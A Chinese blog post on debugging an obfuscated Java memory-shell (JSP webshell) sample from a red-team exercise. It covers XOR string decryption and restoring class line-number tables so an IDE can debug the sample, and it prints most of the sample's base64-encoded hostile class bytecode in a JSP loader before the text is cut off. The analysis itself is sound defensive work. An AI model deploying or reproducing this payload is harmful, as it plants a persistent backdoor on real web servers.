java恶意样本调试指南
2021-04-23 15:26:05 Author: wiki.ioin.in(查看原文) 阅读量:190 收藏

hw结束前最后一天,某老哥在某设备上抓到一个内存马jsp样本,苦于样本被混淆且无法调试而作罢,于是求助我帮忙分析样本。恰好昨天看到deadeye团队发布的weblogic恶意攻击样本中出现无法使用idea调试,只能使用繁琐的jdb调试的问题。看样子大家对于该类样本都很迷,所以在这里分享一下对于混淆后的java样本如何更快速的调试的方法。

首先说一下样本,样本是一个jsp文件,加载class的bytes字节码并执行。字节码是base64编码后的文件,我们直接解码就可以。解码后的文件,照例拖到idea中进行反编译并分析逻辑。样本反编译如图

可以看到,该样本中大部分操作都已经被混淆,各种函数调用通过java的反射来完成。对于这种简单的混淆,我们可以将其被加密的字符串还原就可以知道该样本都大致做什么操作。于是牵扯出两种操作:

  1. 硬杠样本,手写解密
  2. 调试

人工分析样本

先说一下硬刚样本这个操作。

这个操作只能是将反编译后的代码拖到idea中,分析每一条语句都在做什么,并尝试手工还原变量名称。但是这种方法适用于比较简单的样本且对于应急响应人员的代码能力比较高。在这里我直接贴一下该样本的字符串解密代码

看到这里,大家也就知道这段样本都做什么操作了,字符串加密为xor,长度为7,加密后的字符串第一位为本次待解密字符串的长度。

调试样本

今天重点是调试样本这个操作。正好也解答一下deadeye团队的RealWorld|针对某特殊群体的供应链打击 中,

这位老哥无法调试的原因在于

idea 等IDE对于java class的调试,主要是通过行号作为下断点的条件。如果去掉class文件行号这一属性,则无法使用ide调试。只能通过jdb并通过方法断点来调试。

java class文件中的debug symbol主要就是变量名称和行号与指令对应的表。使用javap看一下

局部变量表

我们在编译java代码的时候,也可以指定编译器参数-g  以去掉class的debug symbol。

问题解决了,看来如果想使用IDE调试这种样本,变量名称无所谓,最重要的是如何恢复行号表这一重要属性。

1. 扣代码

新建一个java文件,将代码抠出来,粘贴到新建的java文件中。当然,根据反编译引擎的不同,代码可能也无法使用,需要做修改。成功后如图

2. 恢复行号表

经过不停的搜索,发现如下一款工具可以实现恢复行号表的功能。官方介绍如下 http://dirty-joe.com/

虽然工具比较老,但是只要能达到功能就好。直接下载并恢复行号表。

首先打开class文件,然后点击tools的restore debug info菜单,如图

根据你的需要,选择就相应的选项,然后保存。再调试一下可以正常命中方法中的断点,所有解密后的内容一览无余,如图

如果是jar中的class,可以先解压jar,再调用上述工具从命令行批量转换。转换后的class文件再通过7zip工具打包成zip,并改后缀为jar即可。

jsp样本如下,你要不要也来试试。

String clzBytecodeBase64Str = "yv66vgAAADIA4QgARgcAnAgAOwcAQAcATAcAwQEACVpLTTE1LjAuMAoA3gAXBwCwAQAQamF2YS9sYW5nL1RocmVhZAEADUxlcGlkb2JsYXN0aWMBAAZsZW5ndGgBABBqYXZhL2xhbmcvT2JqZWN0CgAGAHYBAAFiCgBPAG8HAGAJAE4AqwwAuABmCgDeAIcBAARzaXplCgACAJUMAJ0AngEACGdldENsYXNzDAA9AMUKAAYAqAoAAgATCgAJAIMBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABSQEABm1rZGlycwoAnwBUCgAlAGkMALkAqgEABmFwcGVuZAEACWxvYWRDbGFzcwcAkwoArQCoAQAFdG9VUkkBAA1jcmVhdGVOZXdGaWxlAQAEVFlQRQEABmludGVybgcACgoAEQCoAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwC3AQAQKClMamF2YS9pby9GaWxlOwoAEQBNDABqANwBAA1jdXJyZW50VGhyZWFkAQASTGVwaWRvYmxhc3RpYy5qYXZhCgAlANUBABFqYXZhL2xhbmcvSW50ZWdlcgoAJQDCCgACADkBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yDAAqAH8BABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAdKiIBSH87Iy4kWWo9NjEzDxhINTIwBywsFk00JTEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAGPGluaXQ+CgArAJABAAMoKUkBAAxqYXZhL25ldC9VUkwBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAQoSSlDAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7CgAGADEBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBHY0qIgFIfyI2KS9ZazAkJ3Z3U200NC0kJgUSHy8YTjg5BCkvA0wjGiMwMxJbAzUgBw0zJgNvODs2JTE5SDwyCiMvEkgjFCMjKxIoIywaBzI2NyMrGAciMjA2JgUHNT4xMCIDSjl5BCkvA0wjGiMwMx5HNgktLBNANz4nMjAQ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bGFuZy9TdHJpbmc7CgACAHkMANkAgAEACXN1YnN0cmluZwwAxgBFBwClAQAGZXhpc3RzDABkAFIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFihDQylMamF2YS9sYW5nL1N0cmluZzsKAC4AkgwAWwAdCgACAMwMAGIAHQEADGphdmEvaW8vRmlsZQEAFShMamF2YS9sYW5nL09iamVjdDspWgwARwBCDACgANoBAANhZGQKAE8AIgEAECgpTGphdmEvbmV0L1VSTDsHADwBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3RyaW5nAQANZ2V0U3VwZXJjbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsHANsBAAtnZXRQcm9wZXJ0eQEAC25ld0luc3RhbmNlAQABYQEAB3ZhbHVlT2YMACgAUgEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uBwDHAQATW0xqYXZhL2xhbmcvU3RyaW5nOwwAtADSCgDeALMBABUoSSlMamF2YS9sYW5nL09iamVjdDsMACkAuwoA1wAZBwAtAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAE2phdmEvdXRpbC9BcnJheUxpc3QBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEACHRvU3RyaW5nBwDUDAA4AEMBAA1zZXRBY2Nlc3NpYmxlDAAkAK4MAIgAhQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC3RvQ2hhckFycmF5AQADZ2V0DAC5AI0BABFMamF2YS9sYW5nL0NsYXNzOwoAAgC2CgAlAKQMAKMAVgEADWdldFBhcmVudEZpbGUKAAkAyQEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkDAC/AC8MAD0AxAEAIyhMamF2YS9pby9GaWxlO0xqYXZhL2xhbmcvU3RyaW5nOylWAQADKClWAQAQZ2V0RGVjbGFyZWRGaWVsZAEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgoA3gCJDAAjAJsBABRnZXRTeXN0ZW1DbGFzc0xvYWRlcgoALgC1DAAMAD8BAAV0b1VSTAEAClNvdXJjZUZpbGUKACUAjAwAMgB7DAAfAFIBAAQoWilWBwCnAQAUamF2YS9pby9TZXJpYWxpemFibGUMAIsAUgEACDxjbGluaXQ+BwANCgDeAIIBAAlnZXRNZXRob2QBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADGphdmEvbmV0L1VSSQEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgoABgC6BwBzBwDgAQAPT3ZlcmJyaWxsaWFudGx5ACEA3wDXAAAAAgAJAKIAHgAAAAkADwAeAAAAAgABAD0AxQABAGwAAAARAAEAAQAAAAUqtwCssQAAAAAACADWAMUAAQBsAAAL7QAIADAAAAa4ECu9AAI6BgM2BBIBWU62AJE2BRAYPQI8hAEBLRtZHGC2ALwCpwBgGQZfFQSEBAFfUxscYFk8FQWiAAwtG7YAFj2n/9cSA1lOtgCRNgUQFT0CPIQBAS0bWRxgtgC8A6cAJhkGXxUEhAQBX1MbHGBZPBUFogAMLRu2ABY9p//XGQZLpwCbX7YAG1m+XwM2B19aBKMAY1kVB1w0FQcQB3CqAAAAAEQAAAAAAAAABQAAACYAAAArAAAAMAAAADUAAAA6AAAAPxBApwAeEEOnABkQd6cAFBAppwAPEFGnAAoQV6cABRBCgpJVhAcBX1qaAAhcX6f/pl9aFQej/5y7AAJaX7cAbbYAN19XX6oAAP///x4AAAAAAAAAAP///1i4AGG2AD46CBkIKhAUMrYAyzoJGQgqEBsytgDLOgoZCCoIMrYAyzoLGQgqEBcytgDLOgwZCCoQJjK2AMs6DRkJKhAVMgO9AN62ABQZCQO9ANe2AGg6DhkOtgBXKhAiMgO9AN62ABQZDgO9ANe2AGg6DyoQGDI6ECoQCzI6EQE6EhkIKhAHMrYAyzoTGQgqAzK2AMs6FBkTKhAJMgO9AN62ABQZEwO9ANe2AGg6FRkUKhAMMgS9AN5ZAxICU7YAFBkVBL0A11kDGRFTtgBowAAFwAAFOhKnADg6ExkIKhAoMrYAyzoUGRQqEBoyBL0A3lkDEgJTtgA